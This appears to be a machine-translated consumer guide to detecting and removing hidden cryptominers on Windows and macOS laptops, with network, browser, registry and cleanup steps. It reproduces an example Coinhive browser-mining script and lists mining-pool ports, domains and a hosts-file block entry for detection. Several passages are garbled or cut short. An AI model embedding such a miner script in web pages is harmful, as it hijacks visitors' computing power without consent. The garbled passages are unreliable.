Is your laptop slow and overheating? 10 Ways to Detect Hidden Mining on Windows and macOS

Method 2. Through Wireshark (advanced method):

• Download and install Wireshark (free traffic analyzer).
• Run packet capture and filter traffic by protocol TCP.
• Look for port connections 3333, 5555, 7777 or 14444 — they are often used by mining pools.
• Check domains like pool.minexmr.com, xmr.crypto-pool.fr or zcash.flypool.org.

Method 3. Through GlassWire (for beginners):

Program GlassWire visualizes network activity and shows which applications are transferring data. With its help you can:

• See server geolocation, with which the laptop communicates.
• Track peak activity at night (typical for mining).
• Block suspicious connections in one click.

4. Hidden miners in the browser: how to detect and remove

One of the most common mining methods is injecting scripts into the browser. Attackers can:

• 🕷️ Embed code on legal sites (for example, through vulnerabilities in WordPress).
• 🕷️ Distribute malicious extensions for Chrome, Firefox or Edge.
• 🕷️ Use web mining (For example, Coinhive), which runs when certain pages are opened.

How to check the browser for the miner:

1. Open Browser Task Manager:
   • B Chrome: Menu → More Tools → Task Manager.
   • B Firefox: Menu → Advanced → Task Manager.
2. Look for tabs or extensions that consume >50% CPU.
3. Check the list of extensions (chrome://extensions or about:addons in Firefox). Remove unknown plugins, especially those with names like:
   • 🚨 AdBlock Pro (fake)
   • 🚨 Safe Browse
   • 🚨 HD for YouTube
   • 🚨 Crypto Tab (if you haven't installed it)

Example miner code in browser (can be embedded into the site):

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.User('SITE_KEY', 'USER_NAME', {
threads: navigator.hardwareConcurrency,
throttle: 0.8
});
miner.start();
</script>

If you find such a code on the site you visit - add him to the blacklist or use a browser that blocks mining (for example, Brave).

127.0.0.1 webminepool.com

This will block access to popular mining pools.-->

5. Deep system scan: antiviruses and specialized tools

Standard antiviruses (Avast, Windows Defender) are not always detected by miners, since they are often updated and use polymorphic code. For a reliable check, use:

Procedure for complete cleaning:

1. Disconnect your laptop from the Internet (so that the miner cannot update or block the antivirus).
2. Run Malwarebytes in mode Full scan.
3. Scan the system HitmanPro (it even finds hidden threats).
4. Check startup (msconfig or Task Manager → Startup) for the presence of unknown programs.
5. Remove suspicious entries in the registry (if you are sure of your actions):

   HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

6. How to remove the miner completely: step-by-step guide

If you have confirmed the presence of a miner, you need it not just delete, but completely deactivate, since many programs are restored after a reboot. Here algorithm of actions:

Step 1. Uninstall via Task Manager:

1. Find the miner process in Task Manager.
2. Right click → Open file location.
3. Delete the folder with the miner (if it is not deleted, use Unlocker).
4. Complete the process via End process tree.

Step 2. Clean startup:

• Open msconfig (click Win + R, enter msconfig).
• Go to the tab Autoload and uncheck unknown programs.
• B Windows 10/11 use Task Manager → Startup.

Step 3. Removal from the registry (for advanced users):

1. Open Registry Editor (Win + R → regedit).
2. Follow the paths:

   HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
   HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

3. Remove entries with suspicious paths (for example, C:\Users\Public\svchost.exe).

Step 4. Restore system files:

Miners often damage system files. To restore them:

1. Open Command line on behalf of the administrator.
2. Enter the commands one by one:

   sfc /scannow
   dism /online /cleanup-image /restorehealth

3. Restart your laptop.

Step 5: Reset Browsers:

• B Chrome: Settings → Advanced → Restore default settings.
• B Firefox: Help → Troubleshooting → Clean Firefox.
• Remove all extensions and cache.

Step 6: Reinstall Windows (as a last resort):

If the miner is deeply embedded in the system (for example, through rootkit), a complete reinstallation of the OS may be required. Before this:

• Save important data to an external drive.
• Format the drive C: during installation.
• After installation, update immediately Windows and install antivirus.

7. How to protect your laptop from mining in the future

To minimize the risk of reinfection, follow these recommendations:

• 🛡️ Use an antivirus with mining protection (For example, Kaspersky Internet Security or Bitdefender with module Anti-Cryptomining).
• 🔒 Update Windows and drivers (especially for NVIDIA/AMD, since miners exploit vulnerabilities in them).
• 🌐 Install a mining script blocker:
  • Expansion uBlock Origin for the browser.
  • Program MinerBlock.
• 📥 Download software only from official sites. Avoid torrents and cracks - they often contain miners.
• 🔍 Check Task Manager regularly for suspicious activity (once every 1–2 weeks).
• 🔧 Disable unnecessary services:
  • Windows Search (if you don't use file search).
  • Superfetch (may mask miner activity).
• 📡 Use a VPN that blocks malicious domains (For example, ProtonVPN or NordVPN with function Threat Protection).

Additional measures for advanced users:

8. Frequently asked questions about hidden mining